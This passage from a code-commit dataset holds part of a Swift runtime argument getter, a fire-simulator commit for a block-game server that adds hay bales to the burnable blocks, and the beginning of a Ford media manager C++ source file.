sizeof(char *));\n  std::copy(argvec.begin(), argvec.end(), outBuf);\n  outBuf[argvec.size()] = nullptr;\n\n  return outBuf;\n}\n#elif defined (_MSC_VER)\n#include <stdlib.h>\n\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  assert(outArgLen != nullptr);\n\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n\n  *outArgLen = __argc;\n  return __argv;\n}\n#else \/\/ __ANDROID__; Add your favorite arch's command line arg grabber here.\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n  \n  swift::fatalError(0,\n      \"fatal error: Command line arguments not supported on this platform.\\n\");\n}\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"Globals.h\"  \/\/ NOTE: MSVC stupidness requires this to be the same across all modules\n\n#include \"FireSimulator.h\"\n#include \"..\/World.h\"\n#include \"..\/BlockID.h\"\n#include \"..\/Defines.h\"\n#include \"..\/Chunk.h\"\n\n\n\n\n\n\/\/ Easy switch for turning on debugging logging:\n#if 0\n\t#define FLOG LOGD\n#else\n\t#define FLOG(...)\n#endif\n\n\n\n\n\n#define MAX_CHANCE_REPLACE_FUEL 100000\n#define MAX_CHANCE_FLAMMABILITY 100000\n\n\n\n\n\nstatic const struct\n{\n\tint x, y, z;\n} gCrossCoords[] =\n{\n\t{ 1, 0,  0},\n\t{-1, 0,  0},\n\t{ 0, 0,  1},\n\t{ 0, 0, -1},\n} ;\n\n\n\n\n\nstatic const struct\n{\n\tint x, y, z;\n} gNeighborCoords[] =\n{\n\t{ 1,  0,  0},\n\t{-1,  0,  0},\n\t{ 0,  1,  0},\n\t{ 0, -1,  0},\n\t{ 0,  0,  1},\n\t{ 0,  0, -1},\n} ;\n\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ cFireSimulator:\n\ncFireSimulator::cFireSimulator(cWorld & a_World, cIniFile & a_IniFile) :\n\tcSimulator(a_World)\n{\n\t\/\/ Read params from the ini file:\n\tm_BurnStepTimeFuel    = a_IniFile.GetValueSetI(\"FireSimulator\", \"BurnStepTimeFuel\",     500);\n\tm_BurnStepTimeNonfuel = a_IniFile.GetValueSetI(\"FireSimulator\", \"BurnStepTimeNonfuel\",  100);\n\tm_Flammability        = a_IniFile.GetValueSetI(\"FireSimulator\", \"Flammability\",          50);\n\tm_ReplaceFuelChance   = a_IniFile.GetValueSetI(\"FireSimulator\", \"ReplaceFuelChance\",  50000);\n}\n\n\n\n\n\ncFireSimulator::~cFireSimulator()\n{\n}\n\n\n\n\n\nvoid cFireSimulator::SimulateChunk(float a_Dt, int a_ChunkX, int a_ChunkZ, cChunk * a_Chunk)\n{\n\tcCoordWithIntList & Data = a_Chunk->GetFireSimulatorData();\n\n\tint NumMSecs = (int)a_Dt;\n\tfor (cCoordWithIntList::iterator itr = Data.begin(); itr != Data.end();)\n\t{\n\t\tint idx = cChunkDef::MakeIndexNoCheck(itr->x, itr->y, itr->z);\n\t\tBLOCKTYPE BlockType = a_Chunk->GetBlock(idx);\n\n\t\tif (!IsAllowedBlock(BlockType))\n\t\t{\n\t\t\t\/\/ The block is no longer eligible (not a fire block anymore; a player probably placed a block over the fire)\n\t\t\tFLOG(\"FS: Removing block {%d, %d, %d}\",\n\t\t\t\titr->x + a_ChunkX * cChunkDef::Width, itr->y, itr->z + a_ChunkZ * cChunkDef::Width\n\t\t\t);\n\t\t\titr = Data.erase(itr);\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Try to spread the fire:\n\t\tTrySpreadFire(a_Chunk, itr->x, itr->y, itr->z);\n\n\t\titr->Data -= NumMSecs;\n\t\tif (itr->Data >= 0)\n\t\t{\n\t\t\t\/\/ Not yet, wait for it longer\n\t\t\t++itr;\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t\/\/ Burn out the fire one step by increasing the meta:\n\t\t\/*\n\t\tFLOG(\"FS: Fire at {%d, %d, %d} is stepping\",\n\t\t\titr->x + a_ChunkX * cChunkDef::Width, itr->y, itr->z + a_ChunkZ * cChunkDef::Width\n\t\t);\n\t\t*\/\n\t\tNIBBLETYPE BlockMeta = a_Chunk->GetMeta(idx);\n\t\tif (BlockMeta == 0x0f)\n\t\t{\n\t\t\t\/\/ The fire burnt out completely\n\t\t\tFLOG(\"FS: Fire at {%d, %d, %d} burnt out, removing the fire block\",\n\t\t\t\titr->x + a_ChunkX * cChunkDef::Width, itr->y, itr->z + a_ChunkZ * cChunkDef::Width\n\t\t\t);\n\t\t\ta_Chunk->SetBlock(itr->x, itr->y, itr->z, E_BLOCK_AIR, 0);\n\t\t\tRemoveFuelNeighbors(a_Chunk, itr->x, itr->y, itr->z);\n\t\t\titr = Data.erase(itr);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif((itr->y > 0) && (!DoesBurnForever(a_Chunk->GetBlock(itr->x, itr->y - 1, itr->z))))\n\t\t{\n\t\t\ta_Chunk->SetMeta(idx, BlockMeta + 1);\n\t\t}\n\t\titr->Data = GetBurnStepTime(a_Chunk, itr->x, itr->y, itr->z);  \/\/ TODO: Add some randomness into this\n\t}  \/\/ for itr - Data[]\n}\n\n\n\n\n\nbool cFireSimulator::IsAllowedBlock(BLOCKTYPE a_BlockType)\n{\n\treturn (a_BlockType == E_BLOCK_FIRE);\n}\n\n\n\n\n\nbool cFireSimulator::IsFuel(BLOCKTYPE a_BlockType)\n{\n\tswitch (a_BlockType)\n\t{\n\t\tcase E_BLOCK_PLANKS:\n\t\tcase E_BLOCK_LEAVES:\n\t\tcase E_BLOCK_LOG:\n\t\tcase E_BLOCK_WOOL:\n\t\tcase E_BLOCK_BOOKCASE:\n\t\tcase E_BLOCK_FENCE:\n\t\tcase E_BLOCK_TNT:\n\t\tcase E_BLOCK_VINES:\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\n\n\n\nbool cFireSimulator::DoesBurnForever(BLOCKTYPE a_BlockType)\n{\n\treturn (a_BlockType == E_BLOCK_NETHERRACK);\n}\n\n\n\n\n\nvoid cFireSimulator::AddBlock(int a_BlockX, int a_BlockY, int a_BlockZ, cChunk * a_Chunk)\n{\n\tif ((a_Chunk == NULL) || !a_Chunk->IsValid())\n\t{\n\t\treturn;\n\t}\n\t\n\tint RelX = a_BlockX - a_Chunk->GetPosX() * cChunkDef::Width;\n\tint RelZ = a_BlockZ - a_Chunk->GetPosZ() * cChunkDef::Width;\n\tBLOCKTYPE BlockType = a_Chunk->GetBlock(RelX, a_BlockY, RelZ);\n\tif (!IsAllowedBlock(BlockType))\n\t{\n\t\treturn;\n\t}\n\t\n\t\/\/ Check for duplicates:\n\tcFireSimulatorChunkData & ChunkData = a_Chunk->GetFireSimulatorData();\n\tfor (cCoordWithIntList::iterator itr = ChunkData.begin(), end = ChunkData.end(); itr != end; ++itr)\n\t{\n\t\tif ((itr->x == RelX) && (itr->y == a_BlockY) && (itr->z == RelZ))\n\t\t{\n\t\t\t\/\/ Already present, skip adding\n\t\t\treturn;\n\t\t}\n\t}  \/\/ for itr - ChunkData[]\n\n\tFLOG(\"FS: Adding block {%d, %d, %d}\", a_BlockX, a_BlockY, a_BlockZ);\n\tChunkData.push_back(cCoordWithInt(RelX, a_BlockY, RelZ, 100));\n}\n\n\n\n\n\nint cFireSimulator::GetBurnStepTime(cChunk * a_Chunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\tbool IsBlockBelowSolid = false;\n\tif (a_RelY > 0)\n\t{\n\t\tBLOCKTYPE BlockBelow = a_Chunk->GetBlock(a_RelX, a_RelY - 1, a_RelZ);\n\t\tif (DoesBurnForever(BlockBelow))\n\t\t{\n\t\t\t\/\/ Is burning atop of netherrack, burn forever (re-check in 10 sec)\n\t\t\treturn 10000;\n\t\t}\n\t\tif (IsFuel(BlockBelow))\n\t\t{\n\t\t\treturn m_BurnStepTimeFuel;\n\t\t}\n\t\tIsBlockBelowSolid = g_BlockIsSolid[BlockBelow];\n\t}\n\t\n\tfor (size_t i = 0; i < ARRAYCOUNT(gCrossCoords); i++)\n\t{\n\t\tBLOCKTYPE  BlockType;\n\t\tNIBBLETYPE BlockMeta;\n\t\tif (a_Chunk->UnboundedRelGetBlock(a_RelX + gCrossCoords[i].x, a_RelY, a_RelZ + gCrossCoords[i].z, BlockType, BlockMeta))\n\t\t{\n\t\t\tif (IsFuel(BlockType))\n\t\t\t{\n\t\t\t\treturn m_BurnStepTimeFuel;\n\t\t\t}\n\t\t}\n\t}  \/\/ for i - gCrossCoords[]\n\n\tif (!IsBlockBelowSolid && (a_RelY >= 0))\n\t{\n\t\t\/\/ Checked through everything, nothing was flammable\n\t\t\/\/ If block below isn't solid, we can't have fire, it would be a non-fueled fire\n\t\t\/\/ SetBlock just to make sure fire doesn't spawn\n\t\ta_Chunk->SetBlock(a_RelX, a_RelY, a_RelZ, E_BLOCK_AIR, 0);\n\t\treturn 0;\n\t}\n\treturn m_BurnStepTimeNonfuel;\n}\n\n\n\n\n\nvoid cFireSimulator::TrySpreadFire(cChunk * a_Chunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\t\/*\n\tif (m_World.GetTickRandomNumber(10000) > 100)\n\t{\n\t\t\/\/ Make the chance to spread 100x smaller\n\t\treturn;\n\t}\n\t*\/\n\t\n\tfor (int x = a_RelX - 1; x <= a_RelX + 1; x++)\n\t{\n\t\tfor (int z = a_RelZ - 1; z <= a_RelZ + 1; z++)\n\t\t{\n\t\t\tfor (int y = a_RelY - 1; y <= a_RelY + 2; y++)  \/\/ flames spread up one more block than around\n\t\t\t{\n\t\t\t\t\/\/ No need to check the coords for equality with the parent block,\n\t\t\t\t\/\/ it cannot catch fire anyway (because it's not an air block)\n\t\t\t\t\n\t\t\t\tif (m_World.GetTickRandomNumber(MAX_CHANCE_FLAMMABILITY) > m_Flammability) \n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/ Start the fire in the neighbor {x, y, z}\n\t\t\t\t\/*\n\t\t\t\tFLOG(\"FS: Trying to start fire at {%d, %d, %d}.\", \n\t\t\t\t\tx + a_Chunk->GetPosX() * cChunkDef::Width, y, z + a_Chunk->GetPosZ() * cChunkDef::Width\n\t\t\t\t);\n\t\t\t\t*\/\n\t\t\t\tif (CanStartFireInBlock(a_Chunk, x, y, z))\n\t\t\t\t{\n\t\t\t\t\tFLOG(\"FS: Starting new fire at {%d, %d, %d}.\", \n\t\t\t\t\t\tx + a_Chunk->GetPosX() * cChunkDef::Width, y, z + a_Chunk->GetPosZ() * cChunkDef::Width\n\t\t\t\t\t);\n\t\t\t\t\ta_Chunk->UnboundedRelSetBlock(x, y, z, E_BLOCK_FIRE, 0);\n\t\t\t\t}\n\t\t\t}  \/\/ for y\n\t\t}  \/\/ for z\n\t}  \/\/ for x\n}\n\n\n\n\n\nvoid cFireSimulator::RemoveFuelNeighbors(cChunk * a_Chunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\tfor (size_t i = 0; i < ARRAYCOUNT(gNeighborCoords); i++)\n\t{\n\t\tBLOCKTYPE  BlockType;\n\t\tNIBBLETYPE BlockMeta;\n\t\tif (!a_Chunk->UnboundedRelGetBlock(a_RelX + gNeighborCoords[i].x, a_RelY + gNeighborCoords[i].y, a_RelZ + gNeighborCoords[i].z, BlockType, BlockMeta))\n\t\t{\n\t\t\t\/\/ Neighbor not accessible, ignore it\n\t\t\tcontinue;\n\t\t}\n\t\tif (!IsFuel(BlockType))\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tbool ShouldReplaceFuel = (m_World.GetTickRandomNumber(MAX_CHANCE_REPLACE_FUEL) < m_ReplaceFuelChance);\n\t\ta_Chunk->UnboundedRelSetBlock(\n\t\t\ta_RelX + gNeighborCoords[i].x, a_RelY + gNeighborCoords[i].y, a_RelZ + gNeighborCoords[i].z,\n\t\t\tShouldReplaceFuel ? E_BLOCK_FIRE : E_BLOCK_AIR, 0\n\t\t);\n\t}  \/\/ for i - Coords[]\n}\n\n\n\n\n\nbool cFireSimulator::CanStartFireInBlock(cChunk * a_NearChunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\tBLOCKTYPE  BlockType;\n\tNIBBLETYPE BlockMeta;\n\tif (!a_NearChunk->UnboundedRelGetBlock(a_RelX, a_RelY, a_RelZ, BlockType, BlockMeta))\n\t{\n\t\t\/\/ The chunk is not accessible\n\t\treturn false;\n\t}\n\t\n\tif (BlockType != E_BLOCK_AIR)\n\t{\n\t\t\/\/ Only an air block can be replaced by a fire block\n\t\treturn false;\n\t}\n\t\n\tfor (size_t i = 0; i < ARRAYCOUNT(gNeighborCoords); i++)\n\t{\n\t\tif (!a_NearChunk->UnboundedRelGetBlock(a_RelX + gNeighborCoords[i].x, a_RelY + gNeighborCoords[i].y, a_RelZ + gNeighborCoords[i].z, BlockType, BlockMeta))\n\t\t{\n\t\t\t\/\/ Neighbor inaccessible, skip it while evaluating\n\t\t\tcontinue;\n\t\t}\n\t\tif (IsFuel(BlockType))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}  \/\/ for i - Coords[]\n\treturn false;\n}\n\n\n\n\n<commit_msg>Add Hay Bale to Burnable<commit_after>\n#include \"Globals.h\"  \/\/ NOTE: MSVC stupidness requires this to be the same across all modules\n\n#include \"FireSimulator.h\"\n#include \"..\/World.h\"\n#include \"..\/BlockID.h\"\n#include \"..\/Defines.h\"\n#include \"..\/Chunk.h\"\n\n\n\n\n\n\/\/ Easy switch for turning on debugging logging:\n#if 0\n\t#define FLOG LOGD\n#else\n\t#define FLOG(...)\n#endif\n\n\n\n\n\n#define MAX_CHANCE_REPLACE_FUEL 100000\n#define MAX_CHANCE_FLAMMABILITY 100000\n\n\n\n\n\nstatic const struct\n{\n\tint x, y, z;\n} gCrossCoords[] =\n{\n\t{ 1, 0,  0},\n\t{-1, 0,  0},\n\t{ 0, 0,  1},\n\t{ 0, 0, -1},\n} ;\n\n\n\n\n\nstatic const struct\n{\n\tint x, y, z;\n} gNeighborCoords[] =\n{\n\t{ 1,  0,  0},\n\t{-1,  0,  0},\n\t{ 0,  1,  0},\n\t{ 0, -1,  0},\n\t{ 0,  0,  1},\n\t{ 0,  0, -1},\n} ;\n\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ cFireSimulator:\n\ncFireSimulator::cFireSimulator(cWorld & a_World, cIniFile & a_IniFile) :\n\tcSimulator(a_World)\n{\n\t\/\/ Read params from the ini file:\n\tm_BurnStepTimeFuel    = a_IniFile.GetValueSetI(\"FireSimulator\", \"BurnStepTimeFuel\",     500);\n\tm_BurnStepTimeNonfuel = a_IniFile.GetValueSetI(\"FireSimulator\", \"BurnStepTimeNonfuel\",  100);\n\tm_Flammability        = a_IniFile.GetValueSetI(\"FireSimulator\", \"Flammability\",          50);\n\tm_ReplaceFuelChance   = a_IniFile.GetValueSetI(\"FireSimulator\", \"ReplaceFuelChance\",  50000);\n}\n\n\n\n\n\ncFireSimulator::~cFireSimulator()\n{\n}\n\n\n\n\n\nvoid cFireSimulator::SimulateChunk(float a_Dt, int a_ChunkX, int a_ChunkZ, cChunk * a_Chunk)\n{\n\tcCoordWithIntList & Data = a_Chunk->GetFireSimulatorData();\n\n\tint NumMSecs = (int)a_Dt;\n\tfor (cCoordWithIntList::iterator itr = Data.begin(); itr != Data.end();)\n\t{\n\t\tint idx = cChunkDef::MakeIndexNoCheck(itr->x, itr->y, itr->z);\n\t\tBLOCKTYPE BlockType = a_Chunk->GetBlock(idx);\n\n\t\tif (!IsAllowedBlock(BlockType))\n\t\t{\n\t\t\t\/\/ The block is no longer eligible (not a fire block anymore; a player probably placed a block over the fire)\n\t\t\tFLOG(\"FS: Removing block {%d, %d, %d}\",\n\t\t\t\titr->x + a_ChunkX * cChunkDef::Width, itr->y, itr->z + a_ChunkZ * cChunkDef::Width\n\t\t\t);\n\t\t\titr = Data.erase(itr);\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Try to spread the fire:\n\t\tTrySpreadFire(a_Chunk, itr->x, itr->y, itr->z);\n\n\t\titr->Data -= NumMSecs;\n\t\tif (itr->Data >= 0)\n\t\t{\n\t\t\t\/\/ Not yet, wait for it longer\n\t\t\t++itr;\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t\/\/ Burn out the fire one step by increasing the meta:\n\t\t\/*\n\t\tFLOG(\"FS: Fire at {%d, %d, %d} is stepping\",\n\t\t\titr->x + a_ChunkX * cChunkDef::Width, itr->y, itr->z + a_ChunkZ * cChunkDef::Width\n\t\t);\n\t\t*\/\n\t\tNIBBLETYPE BlockMeta = a_Chunk->GetMeta(idx);\n\t\tif (BlockMeta == 0x0f)\n\t\t{\n\t\t\t\/\/ The fire burnt out completely\n\t\t\tFLOG(\"FS: Fire at {%d, %d, %d} burnt out, removing the fire block\",\n\t\t\t\titr->x + a_ChunkX * cChunkDef::Width, itr->y, itr->z + a_ChunkZ * cChunkDef::Width\n\t\t\t);\n\t\t\ta_Chunk->SetBlock(itr->x, itr->y, itr->z, E_BLOCK_AIR, 0);\n\t\t\tRemoveFuelNeighbors(a_Chunk, itr->x, itr->y, itr->z);\n\t\t\titr = Data.erase(itr);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif((itr->y > 0) && (!DoesBurnForever(a_Chunk->GetBlock(itr->x, itr->y - 1, itr->z))))\n\t\t{\n\t\t\ta_Chunk->SetMeta(idx, BlockMeta + 1);\n\t\t}\n\t\titr->Data = GetBurnStepTime(a_Chunk, itr->x, itr->y, itr->z);  \/\/ TODO: Add some randomness into this\n\t}  \/\/ for itr - Data[]\n}\n\n\n\n\n\nbool cFireSimulator::IsAllowedBlock(BLOCKTYPE a_BlockType)\n{\n\treturn (a_BlockType == E_BLOCK_FIRE);\n}\n\n\n\n\n\nbool cFireSimulator::IsFuel(BLOCKTYPE a_BlockType)\n{\n\tswitch (a_BlockType)\n\t{\n\t\tcase E_BLOCK_PLANKS:\n\t\tcase E_BLOCK_LEAVES:\n\t\tcase E_BLOCK_LOG:\n\t\tcase E_BLOCK_WOOL:\n\t\tcase E_BLOCK_BOOKCASE:\n\t\tcase E_BLOCK_FENCE:\n\t\tcase E_BLOCK_TNT:\n\t\tcase E_BLOCK_VINES:\n\t\tcase E_BLOCK_HAY_BALE:\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\n\n\n\n\nbool cFireSimulator::DoesBurnForever(BLOCKTYPE a_BlockType)\n{\n\treturn (a_BlockType == E_BLOCK_NETHERRACK);\n}\n\n\n\n\n\nvoid cFireSimulator::AddBlock(int a_BlockX, int a_BlockY, int a_BlockZ, cChunk * a_Chunk)\n{\n\tif ((a_Chunk == NULL) || !a_Chunk->IsValid())\n\t{\n\t\treturn;\n\t}\n\t\n\tint RelX = a_BlockX - a_Chunk->GetPosX() * cChunkDef::Width;\n\tint RelZ = a_BlockZ - a_Chunk->GetPosZ() * cChunkDef::Width;\n\tBLOCKTYPE BlockType = a_Chunk->GetBlock(RelX, a_BlockY, RelZ);\n\tif (!IsAllowedBlock(BlockType))\n\t{\n\t\treturn;\n\t}\n\t\n\t\/\/ Check for duplicates:\n\tcFireSimulatorChunkData & ChunkData = a_Chunk->GetFireSimulatorData();\n\tfor (cCoordWithIntList::iterator itr = ChunkData.begin(), end = ChunkData.end(); itr != end; ++itr)\n\t{\n\t\tif ((itr->x == RelX) && (itr->y == a_BlockY) && (itr->z == RelZ))\n\t\t{\n\t\t\t\/\/ Already present, skip adding\n\t\t\treturn;\n\t\t}\n\t}  \/\/ for itr - ChunkData[]\n\n\tFLOG(\"FS: Adding block {%d, %d, %d}\", a_BlockX, a_BlockY, a_BlockZ);\n\tChunkData.push_back(cCoordWithInt(RelX, a_BlockY, RelZ, 100));\n}\n\n\n\n\n\nint cFireSimulator::GetBurnStepTime(cChunk * a_Chunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\tbool IsBlockBelowSolid = false;\n\tif (a_RelY > 0)\n\t{\n\t\tBLOCKTYPE BlockBelow = a_Chunk->GetBlock(a_RelX, a_RelY - 1, a_RelZ);\n\t\tif (DoesBurnForever(BlockBelow))\n\t\t{\n\t\t\t\/\/ Is burning atop of netherrack, burn forever (re-check in 10 sec)\n\t\t\treturn 10000;\n\t\t}\n\t\tif (IsFuel(BlockBelow))\n\t\t{\n\t\t\treturn m_BurnStepTimeFuel;\n\t\t}\n\t\tIsBlockBelowSolid = g_BlockIsSolid[BlockBelow];\n\t}\n\t\n\tfor (size_t i = 0; i < ARRAYCOUNT(gCrossCoords); i++)\n\t{\n\t\tBLOCKTYPE  BlockType;\n\t\tNIBBLETYPE BlockMeta;\n\t\tif (a_Chunk->UnboundedRelGetBlock(a_RelX + gCrossCoords[i].x, a_RelY, a_RelZ + gCrossCoords[i].z, BlockType, BlockMeta))\n\t\t{\n\t\t\tif (IsFuel(BlockType))\n\t\t\t{\n\t\t\t\treturn m_BurnStepTimeFuel;\n\t\t\t}\n\t\t}\n\t}  \/\/ for i - gCrossCoords[]\n\n\tif (!IsBlockBelowSolid && (a_RelY >= 0))\n\t{\n\t\t\/\/ Checked through everything, nothing was flammable\n\t\t\/\/ If block below isn't solid, we can't have fire, it would be a non-fueled fire\n\t\t\/\/ SetBlock just to make sure fire doesn't spawn\n\t\ta_Chunk->SetBlock(a_RelX, a_RelY, a_RelZ, E_BLOCK_AIR, 0);\n\t\treturn 0;\n\t}\n\treturn m_BurnStepTimeNonfuel;\n}\n\n\n\n\n\nvoid cFireSimulator::TrySpreadFire(cChunk * a_Chunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\t\/*\n\tif (m_World.GetTickRandomNumber(10000) > 100)\n\t{\n\t\t\/\/ Make the chance to spread 100x smaller\n\t\treturn;\n\t}\n\t*\/\n\t\n\tfor (int x = a_RelX - 1; x <= a_RelX + 1; x++)\n\t{\n\t\tfor (int z = a_RelZ - 1; z <= a_RelZ + 1; z++)\n\t\t{\n\t\t\tfor (int y = a_RelY - 1; y <= a_RelY + 2; y++)  \/\/ flames spread up one more block than around\n\t\t\t{\n\t\t\t\t\/\/ No need to check the coords for equality with the parent block,\n\t\t\t\t\/\/ it cannot catch fire anyway (because it's not an air block)\n\t\t\t\t\n\t\t\t\tif (m_World.GetTickRandomNumber(MAX_CHANCE_FLAMMABILITY) > m_Flammability) \n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/ Start the fire in the neighbor {x, y, z}\n\t\t\t\t\/*\n\t\t\t\tFLOG(\"FS: Trying to start fire at {%d, %d, %d}.\", \n\t\t\t\t\tx + a_Chunk->GetPosX() * cChunkDef::Width, y, z + a_Chunk->GetPosZ() * cChunkDef::Width\n\t\t\t\t);\n\t\t\t\t*\/\n\t\t\t\tif (CanStartFireInBlock(a_Chunk, x, y, z))\n\t\t\t\t{\n\t\t\t\t\tFLOG(\"FS: Starting new fire at {%d, %d, %d}.\", \n\t\t\t\t\t\tx + a_Chunk->GetPosX() * cChunkDef::Width, y, z + a_Chunk->GetPosZ() * cChunkDef::Width\n\t\t\t\t\t);\n\t\t\t\t\ta_Chunk->UnboundedRelSetBlock(x, y, z, E_BLOCK_FIRE, 0);\n\t\t\t\t}\n\t\t\t}  \/\/ for y\n\t\t}  \/\/ for z\n\t}  \/\/ for x\n}\n\n\n\n\n\nvoid cFireSimulator::RemoveFuelNeighbors(cChunk * a_Chunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\tfor (size_t i = 0; i < ARRAYCOUNT(gNeighborCoords); i++)\n\t{\n\t\tBLOCKTYPE  BlockType;\n\t\tNIBBLETYPE BlockMeta;\n\t\tif (!a_Chunk->UnboundedRelGetBlock(a_RelX + gNeighborCoords[i].x, a_RelY + gNeighborCoords[i].y, a_RelZ + gNeighborCoords[i].z, BlockType, BlockMeta))\n\t\t{\n\t\t\t\/\/ Neighbor not accessible, ignore it\n\t\t\tcontinue;\n\t\t}\n\t\tif (!IsFuel(BlockType))\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tbool ShouldReplaceFuel = (m_World.GetTickRandomNumber(MAX_CHANCE_REPLACE_FUEL) < m_ReplaceFuelChance);\n\t\ta_Chunk->UnboundedRelSetBlock(\n\t\t\ta_RelX + gNeighborCoords[i].x, a_RelY + gNeighborCoords[i].y, a_RelZ + gNeighborCoords[i].z,\n\t\t\tShouldReplaceFuel ? E_BLOCK_FIRE : E_BLOCK_AIR, 0\n\t\t);\n\t}  \/\/ for i - Coords[]\n}\n\n\n\n\n\nbool cFireSimulator::CanStartFireInBlock(cChunk * a_NearChunk, int a_RelX, int a_RelY, int a_RelZ)\n{\n\tBLOCKTYPE  BlockType;\n\tNIBBLETYPE BlockMeta;\n\tif (!a_NearChunk->UnboundedRelGetBlock(a_RelX, a_RelY, a_RelZ, BlockType, BlockMeta))\n\t{\n\t\t\/\/ The chunk is not accessible\n\t\treturn false;\n\t}\n\t\n\tif (BlockType != E_BLOCK_AIR)\n\t{\n\t\t\/\/ Only an air block can be replaced by a fire block\n\t\treturn false;\n\t}\n\t\n\tfor (size_t i = 0; i < ARRAYCOUNT(gNeighborCoords); i++)\n\t{\n\t\tif (!a_NearChunk->UnboundedRelGetBlock(a_RelX + gNeighborCoords[i].x, a_RelY + gNeighborCoords[i].y, a_RelZ + gNeighborCoords[i].z, BlockType, BlockMeta))\n\t\t{\n\t\t\t\/\/ Neighbor inaccessible, skip it while evaluating\n\t\t\tcontinue;\n\t\t}\n\t\tif (IsFuel(BlockType))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}  \/\/ for i - Coords[]\n\treturn false;\n}\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2014, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config_profile\/profile.h\"\n#include \"media_manager\/media_manager_impl.h\"\n#include \"media_manager\/audio\/from_mic_recorder_listener.h\"\n#include \"media_manager\/streamer_listener.h\"\n#include \"application_manager\/message_helper.h\"\n#include \"application_manager\/application.h\"\n#include \"application_manager\/application_manager_impl.h\"\n#include \"application_manager\/application_impl.h\"\n#include \"utils\/file_system.h\"\n#include \"utils\/logger.h\"\n#if defined(EXTENDED_MEDIA_MODE)\n#include \"media_manager\/audio\/a2dp_source_player_adapter.h\"\n#include \"media_manager\/audio\/from_mic_recorder_adapter.h\"\n#endif\n#include \"media_manager\/video\/socket_video_streamer_adapter.h\"\n#include \"media_manager\/audio\/socket_audio_streamer_adapter.h\"\n#include \"media_manager\/video\/pipe_video_streamer_adapter.h\"\n#include \"media_manager\/audio\/pipe_audio_streamer_adapter.h\"\n#include \"media_manager\/video\/video_stream_to_file_adapter.h\"\n\n\nnamespace media_manager {\n\nusing 